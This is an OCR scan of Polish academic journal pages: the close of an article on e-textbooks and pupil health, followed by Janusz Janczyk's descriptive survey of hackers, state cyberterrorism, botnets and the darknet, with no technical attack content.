dialnych, czyli e-podrecznikow, odnies¢ mozna wrazenie, iz jest to rewolucyjne
narz¢dzie w pracy nauczyciela i ucznia. Dzigki swoim wlasciwo$ciom interak-
tywnym moze znaczaco wplyna¢ na wyniki procesu nauczania — uczenia sig.
Jednakze mimo wszelkich pozytywnych cech korzystanie z tego rodzaju rozwia-
zan, w przyjetych ramach ,,Cyfrowej szkoty” zalozen, moze przynies¢ rowniez
negatywne skutki.

W ostatnim czasie powstato kilka krytycznych raportow i artykutéw odnosza-
cych si¢ do programu ,,Cyfrowa szkota”, gtéwnie w odniesieniu do e-pod-
recznikow.

Podstawowy zarzut, jaki jest podnoszony, to zbyt dlugi czas, jaki musza
spedza¢ uczniowie podczas pracy na lekcji i poza nig, wykorzystujac e-pod-
recznik. Zgodnie z tym co podaje W. Gogotek, $rednia liczba godzin nauki
wspomaganej komputerem (w opinii badanych nauczycieli) to: ,,w klasach -1l
— 5,5 godz./miesigc, w klasach TV-gimnazjum — 7,7 godz./miesigc, w szkotach
ponadgimnazjalnych — 21,1 godz./miesiac”®. Nalezy w tym miejscu przypo-
mnie¢, ze zgodnie z Ustawg czas ten powinien wynosi¢ do 9 godzin na tydzien.
Jak wida¢, deklarowany przez nauczycieli czas jest mniejszy niz zakladany
w programie. Nalezy jednak mie¢ na uwadze, iz dzieci i mtodziez dodatkowo
sprzet komputerowy wykorzystuja w domu, zar6wno do nauki, jak i do roz-
rywki.

Rozpatrujgc sensownos¢ wykorzystywania nowoczesnych srodkow dydak-
tycznych w procesie edukacji, nalezy pamigta¢ o jego wptywie na zdrowie jego
uzytkownikow. Autor przytaczanego tu raportu dos¢ szczegdélowo omawia po-
szczegblne aspekty zdrowotne w odniesieniu do wprowadzanych do szkét $rod-
kow dydaktycznych, takich jak e-podrecznik.

Ogolnie rzecz ujmujgc, dlugotrwale korzystanie z tego rodzaju narzgdzia
pracujacego na tradycyjnym urzadzeniu komputerowym, moze by¢ dla jego
uzytkownikow bardzo megczace, zwigkszajac migdzy innymi ryzyko wystgpienia
problemoéw psychologicznych.

Istnieje z pozoru dos¢ proste rozwigzanie negatywnego wplywu tradycyj-
nych ekranéw na zdrowie ucznidw. Jest nim wykorzystanie tzw. e-papieru. Sg to
specjalne ekrany monochromatyczne, ktore w zalezno$ci od bieguna tadunkow
zgromadzonych na powierzchni, uwidaczniajg prezentowang tres¢, badz tez po-
zostawiajg jasne tto. Niestety, stosowanie tego typu rozwigzan w przypadku
dynamicznych tresci e-podrecznikow nie jest mozliwe ze wzgledu na wyjgtkowo
wolny czas reakcji’’.

¥ . Gogotek, Wplyw e-podrecznikow..., s. 15.
2D, Kosifiski, E-podrecznik, czyli uczenia na nowo cigzkie poczqtki, ,,PCWorld. Nowocze-
sna szkota”, nr 1/2013, s. 60.
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Zakonczenie

Jak wida¢, sama idea wprowadzenia programu ,,Cyfrowa szkota” jest
szczytnym przedsiewzigciem. Zarowno wyposazenie szkot w nowoczesny sprzgt
i $rodki dydaktyczne, jak rowniez ksztalttowanie u nauczycieli i uczniéw odpo-
wiednich kompetencji cyfrowych, moze i powinno przynie$¢ same korzysci
dydaktyczne. Jednak nalezy tez nie zapomina¢ o ewentualnym negatywnym
wplywie poszczegdlnych elementow programu, tj. korzystanie z komputera i e-
podrecznika, jaki moga mie¢ na zdrowie samych uczniéw. Nalezy robi¢ wszyst-
ko, aby te negatywne skutki mozliwie jak najszybciej niwelowac.

Aby jednoznacznie odpowiedzie¢ na pytanie postawione w tytule niniejsze-
go tekstu musza by¢ wykonane szczegétowe badania. Zeby jednak mozna bylo
to zrobi¢, musza by¢ postawione odpowiednie problemy badawcze. Wowczas
bedzie mozna stwierdzi¢, czy proponowany przez rzad program przyniesie ko-
rzys$ci dla edukacji, czy tez bedzie dla niej przeszkoda.
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Janusz JANCZYK

W GLEBI INTERNETU - INNE ZASTOSOWANIA
INFORMATYKI

IN THE DEPHTS OF THE INTERNET — OTHER APPLICATIONS
OF COMPUTER SCIENCE

Stowa kluczowe: Internet, cyberterroryzm, hackerzy, wojna sieciowa
Keywords: Internet, cyber-terrorism, hackers, netwar

Streszczenie

Internet wywodzi si¢ z projektow wojskowych, lecz stat si¢ pierwszym elektronicznym $ro-
dowiskiem komunikacji spotecznej. Funkcjonalno$¢ Internetu pozwala wykorzystywaé go do
réznych celow, nie zawsze etycznych, czy zgodnych z prawem. Ciemna strona Internetu — darknet,
jest wykorzystywana do wielu celow. Szczegdlne miejsce w tym opracowaniu ma kontekst insty-
tucjonalnego cyberterroryzmu w Internecie. Zostaty tez opisane typy atakow sieciowych dla celéw
prowadzenia dziatan destrukcyjnych i inwigilacji. Celem jest deskrypcja §rodowiska spotecznego
sieci dla uzyskania obrazu tak kontrowersyjnych zastosowan informatyki.

Summary

The Internet originates from military projects, but became the first electronic communication
environment. The functionality of the Internet allows to use it for various purposes, does not al-
ways ethical or lawful. The dark side of the Internet — Darknet, is used for many purposes. The
special place in this paper is the institutional context of cyber-terrorism on the Internet. In this
paper have also been described types of network attacks for the purpose of conducting destructive
activities and surveillance. The aim is description of the social environment network to obtain an
image of controversial applications of computer science.

Wstep

Wisréd zastosowan spotecznych dziedziny nauki, jaka jest informatyka, nie-
watpliwie najwickszg karierg zrobily sieci komputerowe — zwlaszcza rozlegle,
czyli Internet. Czym jest obecnie Internet? Kazdy ma na ten temat wiasne zdanie
i jednoczesnie znakomita wigkszo$¢ podziela opinig, iz wplyw tego produktu
informatyki jest duzy, moze nawet zbyt duzy, na zycie wspolczesnego cztowie-
ka. Najbardziej rozpowszechniong funkcjonalno$cig Internetu jest World Wide
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Web (WWW), pomimo ze w zamysle tworcow miat stuzy¢ do celow nauko-
wych. W 1992 roku fizyk Tim Berners-Lee obmy$lit sposéb integracji zrodet
informacji w Internecie dla potrzeb wiasnych dokumentow i uzyt do tego hiper-
tekstu, wykreowanego jeszcze w latach 60. XX wieku przez Teda Nelsona. Nie
zdawat sobie sprawy z wykreowania WWW, a pewnie nie przypuszczal, ze
w tak krotkim czasie spowoduje burzg w spoteczenstwie. Informacja niesiona
poprzez strony WWW jest multimedialna i o pelnym spektrum tematycznym.
Olbrzymi obszar zastosowan hipertekstu w Internecie, a szczegolnie jego do-
stepnosc¢ i1 tatwos¢ stosowania nie tylko oszatamia, ale wciaga i uzaleznia. Trze-
ba zaznaczy¢, ze racjonalne, w stosunku do zamystu twoércow WWW, wykorzy-
stanie Internetu jest tylko wierzcholkiem gory lodowej mozliwych zastosowan'.
Nalezy si¢ zastanowic¢, czy naprawde mozliwy jest dostep do wszelkiego rodzaju
pogladéw, opinii czy wiadomosci, skoro WWW oferuje ich tyle, ze za krotko
zyjemy, aby je chociazby pobieznie przejrze¢. Z technicznego punktu widzenia,
przy tak szybkim rozwoju $rodkoéw przenoszenia i przetwarzania informacji,
niepozbawione racjonalnosci jest globalne sieciowe potaczenie spoleczenstw,
okreslane mianem McLuhan’owskiej ,,globalnej wioski”, ktéra w ostatniej deka-
dzie usilnie egzemplifikuje idee zwarte w teorii chaosu.

1. Czym si¢ zajmuja hackerzy

Poindeksowana zawarto$¢ informacyjna Internetu nie jest tak intrygujaca
i tajemnicza dla badacza zagadnien spotecznosci sieciowych, co blizej nieokre-
$lone ciemne obszary globalnej sieci — tzw. darknet. Pierwszoplanowa trudnos¢
dotyczy liczby witryn prywatnych osob, ktore nie potrafig wiaczy¢ ich do indek-
sowanych zasobow Internetu. Sg to osoby poznajace podstawy edycji stron
WWW, ktore przy pomocy standardowego oprogramowania, nawet biurowego,
realizuja tego typu projekty. Zapewne wiele dokumentow tak powstatych zawie-
ra wiele interesujacych informacji, ale nie moga zaistnie¢ w Internecie bez pro-
cedury publikacji. Szczegolnie istotni sg tutaj ci uzytkownicy Internetu, ktorzy
posiadaja state 1acza i we wilasnych komputerach uruchomili serwery usthug
WWW. Czgsto tego typu netizeni nie wiedza o konieczno$ci zarejestrowania
swoich serweréw przynajmniej w jednym serwisie wyszukiwawczym lub kata-
logu tematycznym.

Istotng rol¢ pelnig w powstawaniu problemoéw spotecznych i technicznych
w Internecie domorosli eksperci, zwani potocznie hackerami. Chociaz ich liczba
jest niewielka w stosunku to uzytkownikoéw sieci, to silnie oddziatuja na cale

Ypor. J. Janczyk, Racjonalnosé uzytkowania Internetu [W:] Racjonalnosé¢ myslenia, decydo-
wania i dzialania, red. L.W. Zacher, Wyd. WSPiZ, Warszawa 2000
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spoteczenstwo. Wraz z rozwojem Internetu i jego upowszechnieniem problem
hackerstwa otrzymat najwyzszy priorytet. To dzigki hackerom powstato pojgcie
Hfrewall”, za ktérym kryje sie oprogramowanie systemow informatycznych
0 najwyzszej jako$ci zabezpieczen. Za hackera uwazany jest kazdy kto potrafi
»poskromi¢ system komputerowy” lub ,;rozpru¢ system komputerowy”, przy
czym nie jest to jego wlasny system i nie posiada do niego praw dostepu. Ze
wzgledu na $rednig wieku (sga to gtownie miodociani przestgpcy), hackerow
Cze¢sto nazywa sie przestepcami w krotkich spodenkach (ang. short-pants crimi-
nals). Nieco inaczej hackera definiuje angielski stownik The New Hacker’s Dic-
tionary — The Jargon File®. Podaje on, ze hacker to osoba majaca duze umiejet-
nosci programistyczne i1 bardzo bogata wiedz¢ o komputerach oraz systemach
operacyjnych, aplikacjach i lukach w nich wystepujacych. W takim znaczeniu za
hackera uwazany bylby kiedy$ nawet Bill Gates. Z kolei B. Landreth, byly hac-
ker, wyrdznia nastepujace kategorie hackerow: nowicjuszy, studentow, turystow,
wandali i ztodziei.® Charakterystyczna cechg takiego podziatu sa pobudki, dla
ktérych dokonywane sg przestgpstwa oraz oczekiwane zyski z tych dziatan. Do
nowicjuszy zalicza si¢ poczatkujacych hackerow, ktorych interesuja gry kompu-
terowe, nowsze oprogramowanie lub zawarto$¢ zbiorow danych. Trudno jest
okresli¢ zakres dziatan nowicjuszy w stosunku do systemow informatycznych,
ktore ulegly ich ,,poskromieniu”. W kategorii studentow znajduja si¢ wszelkiego
rodzaju amatorscy badacze i analitycy, ktorzy sg zainteresowani poznaniem
réznych systemow informatycznych. Nie sg oni nastawieni na wyrzgdzanie
szkdd, lecz tylko na zaspokojenie wlasnej ciekawosci lub wyprobowanie umie-
jetno$ci. Dla turystow systemy komputerowe sg swego rodzaju tamigtowka, do
ktérej po rozwigzaniu wigcej nie wracaja. Wandale to kategoria, ktorg kieruje
glownie che¢ dokonywania zniszczen w systemach komputerowych. Satysfakcje
dla tej grupy uzytkownikoéw stanowi totalna destrukcja ,,rozprutego” systemu.
Kategoria ztodziei, najliczniej reprezentowana, ma najwiecej wspolnego z prze-
stepstwami tradycyjnymi, chociaz komputer jest im w dziataniu nieodzowny.
Z}odziei mozna uzna¢ za typowych przestepcoOw po odpowiednim przeszkoleniu
informatycznym (kursie doskonalgcym), a Internet utatwia im zadanie, chociaz-
by poprzez: informacje o szczegodtach systemow informatycznych (listy dysku-
syjne np. turystow, studentow, czy nawet nowicjuszy), serwery z oprogramowa-
niem specjalistycznym (crack’s) do wtaman®, tworzenia lub podrabiania elektro-

2 Por. The New Hacker’s Dictionary, http://www.ccil.org/jargon/jargon.html (20.09.2012).

®por. B. Landreth, Out of the Inner Circle. A Hacker’s Guide to Computer Seciurity, \Was-
hington 1985.

* Jednym z bardziej znanych tego typu serwisow byl http://astalavista.box.sk (obecnie wia-
Sciwy serwis dostepny jest w tylko darknecie).
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nicznych kart kredytowych®, jak i do tworzenia listy haset dostepu do najprze-
rozniejszych zabezpieczonych serwerdow®.

Pierwszy ujawniony i najstynniejszy hacker $wiata, Kevin Mitnick, twierdzi,
ze najstabszym ogniwem zabezpieczen systemow komputerowych sg ludzie. On
sam nigdy nie stosowat aplikacji hackerskich. Wedlug niego najskuteczniejsza me-
toda byto poznanie odpowiedniej osoby i tzw. social engineering, czyli wykorzysta-
nie stabosci psychiki ludzkiej’. W przeciwienstwie do Mitnicka inni hackerzy two-
rza 1 uzywaja oprogramowania do swoich poczynan w sieci. Metod wlaman do sie-
ciowych systeméw komputerowych jest wiele i mozna je podzieli¢ na kilka grup:

e BO (Buffer Overflow) — to najpopularniejsza metoda ataku w Internecie; wy-
korzystuje btedy logiczne w oprogramowaniu komputerow;

e DoS (Denial of Service) — polega na blokowaniu dziatania serwerdéw siecio-
wych poprzez wysylanie wielu zmodyfikowanych pakietow IP;

e DDoS (Distributed Denial of Service) — atak DoS wykonany jednoczesnie
z wielu komputerow (np. botnetu);

e Wirusy, robaki i konie trojanskie® — sa znane prawie wszystkim uzytkowni-

kom Internetu,

Sniffing — polega na przechwytywaniu haset dostepu’;

Spoofing — czyli podszywanie si¢ pod cudzy adres IP;

Session hijacking — to dynamiczna odmiana spoofingu;

Network snooping — wykorzystanie zaawansowanych analizatorow sieci

w celu doboru najefektywniejszej metody ataku.

2. Gdzie pracuja hackerzy

Trzeba zauwazy¢, ze rozroznienie zastosowan typowych od nietypowych
(przestepczych) komputerow jest trudne. Granica miedzy nimi jest cienka lub
niewyrazna. Takie rozumowanie jest blgdne pomimo, ze w srodkach masowego
przekazu afirmuje si¢ dziatania przestgpcze poprzez nastepujace okreslenia:
Llegalne szpiegostwo gospodarcze”, , legalny wywiad gospodarczy”'®. Szpiego-

% Np.: Cmaster3 lub Cwizard1.

® Np.: McKiler PL, HackNet czy Socket Demon1.3.

"Por. J. Janczyk, Social problems resulting from information contents of the Internet, Con-
gress Papers: Innovations for an e-Society. Challenges for Technology Assessment, session Il —
New Media and Culture, Berlin 2001.

8 Te grupy specjalizowanego oprogramowania sa czesto w potocznym znaczeniu uZywane
zamiennie.

® Hackerzy uzywaja najczesciej kilku metod zdobywania hasel: brutal force, stownika, pod-
stuch w sieci lub powtdrne logowanie.

©por. J. Janczyk, ,, Cienie” Internetu a edukacyjne mozliwosci zastosowan technologii in-
formacyjnej, ,, Transformacje” listopad 2002, 1-4/2002.
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stwo w sposob naturalny kojarzy si¢ z dziataniami nielegalnymi, a wywiad jest
okresleniem oboje¢tnym, przez co obejmuje rowniez dziatania legalne. W tym
kontekscie ,,New York Times” ujawnil, ze od 2010 roku Agencja Bezpieczen-
stwa Narodowego USA (NSA) wykorzystuje swoje ogromne zbiory danych do
tworzenia zaawansowanych wykreséw powigzan spotecznych wigkszosci ame-
rykanow. Dzieki nim mozliwa jest identyfikacja: wspotpracownikow, miejsc
przebywania w okreslonym czasie, towarzyszy podrozy i innych danych osobo-
wych'!. Usprawiedliwieniem dziatan NSA jest syndrom zagrozenia terroryzmem
i cyberterroryzmem. W 2013 roku, po szescioletnim $ledztwie, amerykanska
firma Mandiant opublikowala raport, wedlug ktérego Chinska Armia Ludowa
posiada jednostke cyberterrorystycznej formacji'?. Raport nazywa formacje hac-
kerska jako APT1 i okresla jej lokalizacje w niepozornym 12-pietrowym budyn-
ku na przedmies$ciach Szanghaju. Formacja jest oznaczona w chinskiej armii
jako jednostka 61398. Wspolpracownicy tej formacji, w liczbie si¢gajacej nawet
kilku tysiecy majg za swéj gldwny cel instytucje panstwowe oraz organizacje
i firmy w Stanach Zjednoczonych. To, ze nasilajace si¢ w ostatnich latach ataki
na amerykanskie cele pochodza z Chin, nie jest niczym nowym dla NSA Stanow
Zjednoczonych. Ten raport stanowi pierwsze, tak powazne oskarzenie chinskie-
go rzadu o prowadzenie szeroko zakrojonych cyberterrorystycznych dziatan.
NSA nie nalezy do organizacji swigtych, gdyz podejrzewana jest o cyberataki od
czasu konfliktu w Zatoce Perskiej w 1991 roku, a do tych celow wypuscita do
Internetu takie robaki, jak: Stuxnet, Duqu i Flame. Dziatania amerykanskiej
agencji doprowadzity do tego, ze Stanom Zjednoczonym zagraza juz nie tylko
Chinska formacja cyberterrorystyczna, lecz takze coraz mocniejsza iranska siat-
ka rzadowych hackeréw. Interesujace spostrzezenia w zwigzku z powyzszym
poczynil C. Raiu szef dzialu badan Kaspersky Lab na konferencji Cyber-
Security Summit w 2013 roku®®. Stwierdzit miedzy innymi, ze w sieci funkcjo-
nuje wiele cyberbroni, o ktorych uzytkownicy, a nawet specjali$ci od zabezpie-
czen sieciowych, nie majg pelnej wiedzy, gdyz jest trudna do wykrycia i monito-
rowania. Wyrazit tez opinie, ze do poczatku 2013 roku za wiekszos¢ aktywnego
w Internecie ztosliwego oprogramowania odpowiedzialni byli ,,klasyczni” cy-
berprzestepey, ktorych glowna motywacja byly pienigdze. Od tego czasu specja-
lisci z Kaspersky Lab odnotowujg coraz wigksza aktywno$¢ najrozniejszych
agend rzagdowych i wojskowych. Specjalizujg si¢ one w przeprowadzaniu ata-
koéw informatycznych i wykradaniu danych. Wspomniani specjalisci dzielg takie

1 por. wiadomosci w serwisie New York Times, N.S.A. Gathers Data on Social Connections
of U.S. Citizens, http://www.nytimes.com/2013/09/29/us/nsa-examines-social-networks-of-us-ci-
tizens.html?_r=0 (14.12.2013).

2 Por. Cynerterrorysci w chiriskiej armii, ,PC World” 4/2013.

3 Por. Hacker na parnstwowej posadzie, ,,PC World™ 4/2013.
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akcje na dwie grupy dziatania: celem pierwszej jest zaktocenie funkcjonowania
jakiego$ panstwa, instytucji lub organizacji (taki efekt spowodowal wirus
Stuxnet zaktocajac prace iranskich instalacji atomowych), celem drugiej sg ope-
racje szpiegowskie, przeprowadzane z wykorzystaniem narzedzi informatycz-
nych (dziatanie wirusa Duqu, ktory mial poczyni¢ rekonesans przed atakiem
Stuxnet). Operacje hackerskie inspirowane i prowadzone przez organizacje rza-
dowe majg na celu nie tylko inne rzady, lecz coraz cze¢$ciej firmy. Ataki takie sg
prowadzone dla pozyskania poufnych danych (np. kodu zrédlowego oprogra-
mowania) lub z mysla o uzyskaniu dostgpu do rzadowych systemoéw IT, co do-
tyczy firm wspotpracujacych z instytucjami publicznymi. Do tych celow, jak
twierdza specjalisci z Kaspersky Lab, wykorzystywany byt i po modyfikacjach
jest wirus Flame. Polska armia nie chce dtuzej pozostawac w tyle i jak twierdzi
minister obrony narodowej T. Siemoniak, w 2014 roku nowo powotana jednost-
ka Centrum Operacji Cybernetycznych ma zajmowaé si¢ odpieraniem atakow
elektronicznych i prowadzeniem cyberwojny™. Pan minister zdaje sobie sprawe,
ze wojsko do tej jednostki rekrutowa¢ bedzie hackerow i to nie koniecznie do
sortow mundurowych. Zatrudnianie specjalistow od wiaman hackerskich, infil-
tracji elektronicznej oraz przeciwdzialania podobnym atakom nie jest w polskim
wojsku niczym nowym. Z ustug takich specjalistow chetnie korzysta Stuzba
Kontrwywiadu Wojskowego, a wzmacnianiem bezpieczenstwa sieciowego zaj-
mujg si¢ hackerzy w Narodowym Centrum Kryptologii. Centrum to uwazane
jest za odpowiednik amerykanskiej NSA. Wypada takze wspomnie¢ o przetargu
MON 1 Narodowego Centrum Badan i Rozwoju z 2013 roku na stworzenie
oprogramowania i sprzetu elektronicznego do prowadzenia walki elektronicz-
nej’®. Projekt obejmowat stworzenie botworma (inteligentnego robaka) na tyle
szkodliwego, aby mdgt on niepostrzezenie infekowac i inwigilowa¢ komputery
innych panstw, paralizowac¢ ich systemy komunikacyjne i informatyczne, a takze
przejmowa¢ i neutralizowa¢ wrogie oprogramowanie szpiegowskie. Polityka
MON w tej sprawie jest co najmniej niejasna, gdyz najpierw dokumenty prze-
targowe opublikowano na stronie instytucji wspolpracujacej z ministerstwem,
a potem okazuje si¢, ze przetarg kto$ wygrat, ale nie wiadomo kto i dokumenty
zwigzane z projektem sg niekompletne.

Wiele informacji o prowadzeniu nielegalnej dziatalnosci instytucji pan-
stwowych pochodzi ze zrodet oficjalnych i sg publikowane w prasie specjali-
stycznej, nie tylko on-line. Z problematyka panstwowego cyberterroryzmu spo-
tkatem si¢ juz w 2004 roku na migdzynarodowej konferencji ,,Spoteczenstwo —
Ryzyko — Demokracja w kontekscie integracji, globalizacji i trwatego rozwoju”,

1% Por. Polska armia stawia na hackeréw, ,,PC World” 2/2014.
5 por. tamze.
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zorganizowanej przez Center for impact assessment studies and forecasting, przy
Akademii Leona Kozminskiego w Warszawie. P. Sienkiewicz w swoim wysta-
pieniu silnie zaakcentowat, ze od czasu konfliktu Falklandy-Malwiny prowa-
dzone sg prace badawczo-rozwojowe we wszystkich nowoczesnych armiach
$wiata w celu wykorzystania Internetu do dziataniach wojskowych — wojen-
nych i wywiadowczych (tzw. walka elektroniczna). W tym wystgpieniu zostaly
zaprezentowane takze: typowy schemat Sieciocentrycznego Pola Walki (skrot
ang. NCW), zatozenia dla strategii Infowar, Cyberwar i Netwar, ale co szcze-
go6lnie interesujace diagram wyodrebniajacy cyberterroryzm panstwowy i nie-
panstwowy. Zawarto$¢ pol diagramu po graficznej obrobce wihasnej prezentuje
rysunek 1.

Konflikt lokalny

Walka
informacyjna

Walka z
pedofilia

Walka z P
handlarzami Walka z organizacjami
narkotykow terrorystycznymi

Cyberterroryzm - P - Walka z
: Dziatalnosé Suzb Ochrony Panstwa
Panstwowy y | terroryzmem
Niepanstwowy Dzialalnosé ruchow narodowo- Dzialalnosé organizaciji
wyzwolenczych i ruchow powstanczych terrorystycznych

| Hacktywisci “ Hackerzy " Crackerzy “ Frustraci “ Szpiedzy “ Wandale H Przestepcy |\

Rysunek 1. Cyberterroryzm w ujeciu P. Sienkiewicza'®

Schemat zaprezentowany przez P. Sienkiewicza dopiero po kilku latach zna-
lazt odbicie w nielicznych publikacjach specjalistycznych i wiadomosciach
gtownych dziennikow migdzynarodowych (dostgpnych nie tylko on-line). Nie
powinno dziwi¢ takie zestawienie groznych mozliw0$ci zastosowan Internetu,
gdyz cyberprzestrzen bierze swoj rodowdd od wojskowego projektu Standéw
Zjednoczonych ARPANET. Najdziwniejsze jest w tym to, ze w t¢ ,,sie¢ sieci”
ztapano w skali globalnej cate spoteczenstwo i wykorzystuje si¢ jego zasoby do
prowadzenia dzialan nie tylko nieetycznych, ale i nielegalnych, niezgodnych
zprawami czlowieka. Tych zinstytucjonalizowanych dziatan cyberterro-

18 por. P. Sienkiewicz, H. Swieboda, Niebezpieczna przestrzen cybernetyczna, ,,Transforma-
cje”, 1-4 (47-50)/2006.
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rystycznych nie bedg $ciga¢ zadne organy wladzy — choéby miedzynarodowej
(np. ONZ), gdyz wszystko odbywa si¢ w majestacie prawa.

3. Do czego stuza botnety

Wypada przyjrze¢ si¢ obecnie nietypowym zastosowaniom zasobow sprze-
towo-programowych przecietnych uzytkownikow Internetu, ktorzy bez wiedzy
udostepniaja swoje komputery i facza internetowe, sieciowym przestepcom.
Wedhug pierwszych doniesien BBC' podziemie w Internecie szybko si¢ rozro-
sto w 2004 roku, gdyz ponad 30 tys. komputerow dziennie byto przylaczanych
do tajnych sieci, ktore rozpowszechniaty spam i wirusy. Pot roku wezeéniej tyl-
ko 2 tys. komputeréw dziatajacych na systemie Windows bylo przytaczanych
codziennie do tych tzw. botnetow. W Internet Security Threat Report’® z tego
samego roku firma Symantec doniosta réwniez, ze Internetowi przestepcy co-
dziennie przejmujg kontrole nad 30 tys. komputeréw i czynig to gldwnie za
sprawa robakow, zawierajacych modut ,,backdoor”. Prob zainfekowania kompu-
terow przez Internet w 2008 roku odnotowywano ok. 75 tys. dziennie, a Syman-
tec okreélita zainfekowane maszyny jako ,,sie¢ komputeréw zombie™®. Raport
podaje, ze polaczone w sie¢ ,,zombie PC” shuzg przestepcom przewaznie do
rozsylania spamu oraz przeprowadzania atakow DDoS. Sytuacja w Internecie si¢
nie zmienia, gdyz jak poinformowano uczestnikow konferencji Black Hat USA
2013 — skala przeje¢ komputerdw Zombie siggnela 150 tys. dziennie?. Powstaje
pytanie: do czego jeszcze, oprocz atakow DDoS, wykorzystuje si¢ taka liczbe
przejetych komputeréw. Producenci oprogramowania antywirusowego sa zda-
nia, ze wigkszo$¢ spamu trafiajgcego via e-mail jest zastugg ,,armii zombie PC”.
Sg to ofiary ataku robakow internetowych takich, jak: Sobig, MyDoom, czy tez
Bagle’a. Kazdy z tych insektow zawiera ukryte w kodzie procedury, ktore umoz-
liwiaja zdalne przejecie kontroli nad maszyna 1 wykorzystanie jej do rozsytania
spamu, ale takze przeprowadzania atakow metodg DD0S na serwery internetowe
(np. znany atak w sprawie ACTA z 2012 r.). Firma Akamai Technologies®
$wiadczaca ustugi dla najwigkszych korporacji 1 serwisow internetowych (Goo-

1 Por. Net security threats growing fast, http://news.bbc.co.uk/1/hi/technology/ 3666978.stm,
(20.09.2009).

8 por. D. Cieslak, Infernet pelen zombie, http:/fwww.pcworld.pl/news/70746.html (21.
09.2009).

193, Janczyk, Technical and Organizational Crises in Nets, TRANSFORMACJE Special Is-
sue 2005-2007, Warszawa 2008.

2 por, Parada pomystéw na lamanie zabezpieczen, ,,PC World” 10/2013.

2L por. S. Gorski, Zombie PC: zmora naszych czaséw, http:/iwww.pcworld.pl/news/
68560.html (12.07.2011).
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gle, Yahoo!, Microsoft), wing za awarie serwerd6w w pierwszym poiroczu 2004
r. obarczyta wtasnie ,,armi¢ zombie PC”. Specjalisci z brytyjskiej firmy antywi-
rusowej Sophos sg zdania, iz 40% spamu w Cyberprzestrzeni jest zastuga dzia-
fania wiruséw: Sobiga, MyDooma i Bagle'a. Z kolei firma Sandvine zajmujaca
si¢ bezpieczenstwem sieci ocenia, iz zainfekowane komputery moga by¢ odpo-
wiedzialne nawet za 80% niechcianej korespondencji. ,,Zombie PC” oprocz
dystrybucji spamu i atakow DDoS mogg stuzy¢ migdzy innymi do rozsytania
groznych wirusow, pobierania pornografii i wykradania prywatnych informacji
bez wiedzy uzytkownika. C. Theriault, konsultantka ds. bezpieczenstwa w firmie
Sophos twierdzi, ze komputer osobisty moze sta¢ si¢ bezwolnym przekaznikiem
wszelkiego typu $mieci i niebezpiecznych pakietow danych, jakie mozna zna-
lez¢ w Internecie, rozsytajacym je do setek, czy tysigcy niewinnych uzytkowni-
kow. Wedlug specjalistow z firmy Sophos w 2004 r. na catym $wiecie dziatato
ponad 500 tysiecy komputeréw ,,Zombie PC”. Inne zrodta podaty, ze mogto ich
by¢ nawet 2 miliony. Z badan firm Earthlink oraz Webroot Software wynika, ze
co trzeci komputer posiada zainstalowane oprogramowanie typu spyware, ktore
moze skrycie rejestrowaé poufne dane i wysyla¢ je do zdalnego komputera
w Internecie??. Hackerom w wickszosci przypadkéw nie zalezy na naszych da-
nych finansowych, zdjeciach, czy tez prywatnej korespondencji. Dla nich wazny
jest dodatkowy komputer, ktory powigksza ,,armi¢ komputeréw zombie”, ina-
czej zwanych botnetem. Nietatwo jest okreslic, czy nasz komputer jest juz
»zombie PC”. Symptomami moggcymi $wiadczy¢ o przejeciu kontroli nad na-
szym komputerem mogg by¢:

o nadmierna aktywnos$¢ dysku twardego;

e podwyzszone wykorzystanie polaczenia sieciowego;

e nagle i niespodziewane ruchy kursora na ekranie (odbywajace si¢ bez

udziatu uzytkownika);
o niespodziewane wiadomosci w skrzynce pocztowej (od oséb, ktdrych nie
znamy ze wstawionym poczgtkiem tematu — Re:).

Wspomniane ,,zombie PC” kolekcjonowane przez hackerow sg organizowa-
ne w sieci, ktore, jak wigkszo$¢ rzeczy i uslug, sg wystawiane na sprzedaz. Stad
niektorzy badacze problematyki spamu okreslajg je nazwa handlowa ,,botnets”,
pewnie dlatego, ze brzmi dla celé6w marketingowych znacznie lepiej niz ,,armia
zombie PC”. Jeden ze specjalistow od spamu S. Linford®®, szef firmy Spamhaus
uwaza, ze ponad 70% niezamawianej korespondencji jest dzietem ,,botnetéw” —
sieci komputeréw, nad ktérymi zdalnie przejeto kontrole. Wedtug niego kazda

2 por, D. Cieslak, W poszukiwaniu szpiegéw: 1/3 komputeréw zainfekowana, http:/fwww.pc-
world.pl/news/ 67804.html (21.09.2009).

2 por. S. Gorski, Wiekszo$¢ spamu generujg botnety, http://www.pcworld.pl/news/70
837.html (23.09.2009).
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grupa zajmujaca si¢ rozsylaniem spamu, posiada wilasny ,,botnet” lub korzysta
z takiej sieci, utworzonej przez innych. Dla przyktadu S. Linford podaje grupe
spamerow z Florydy, ktorzy wykorzystujg ,,bonety” utworzone przez Rosjan.
Kazdego tygodnia, ponad 100 tysiecy komputerow zaprzeganych byto do rozsy-
fania spamu w ich ,,bonetach”, bez wiedzy ich wlascicieli. ,,Bonety” rozsytaja
spam, dopoki nie zostang wciggnigte na ,,czarng liste” przez firmy antyspamowe.
Wtedy wiasciciel takiego ,.bonetu” moze go sprzeda¢ innym uzytkownikom,
ktorzy moga jeszcze wykorzysta¢ taka sie¢ komputerow do przeprowadzania
atakow DDoS. Jakiej nazwy by$Smy nie uzyli dla ogromnej rzeszy przejetych
przez hackerow komputerow, to zjawisko ,,botnets” przybiera na sile i stanowi
powazny zaséb sieciowy dla instytucjonalnego cyberterroryzmu. O instytucjach
wykorzystujacych zasoby Internetu do dziatan nielegalnych ukazuje si¢ nieco
informacji w réznego rodzaju publikatorach, ale czy wszystkie lub chociazby
wigkszo$¢ ma szans¢ na ujawnienie? Trzeba w tym miejscu nieco szerzej opisaé
wspomniany juz obszar Internetu, czyli tzw. darknet.

4. Darknet to nie tylko anonimowo$¢

Anonimowo$¢ w Internecie od jego zarania byla postrzegana jak dobro na-
turalne, byta niezbywalnym prawem cztowieka. Wraz z rozwojem ustug siecio-
wych juz w nowym milenium anonimowo$¢ w swej naturze Internetu zostala
utracona. Takie sieci w Internecie, jak FreeNet (projekt rozwijany od 2000 r.)
i TOR (rozwijany od 2004 r.) powstaty w celu zapewnienia ochrony prywatnosci
internautow, zwlaszcza w krajach totalitarnych. Korzystajg z tych sieci internau-
ci, ktorzy nie zycza sobie, aby ich dziatania zostaty odkryte i wykorzystywane
przeciwko nim. Z tej anonimowos$ci korzystaja rozni ludzie, zatem FreeNet
i TOR majg swojg druga ,,ciemng strong”, czego raczej nie zyczyli sobie ich
tworcy. Wspomniany darknet (Ciemna sie¢), zwany takze Hidden Services
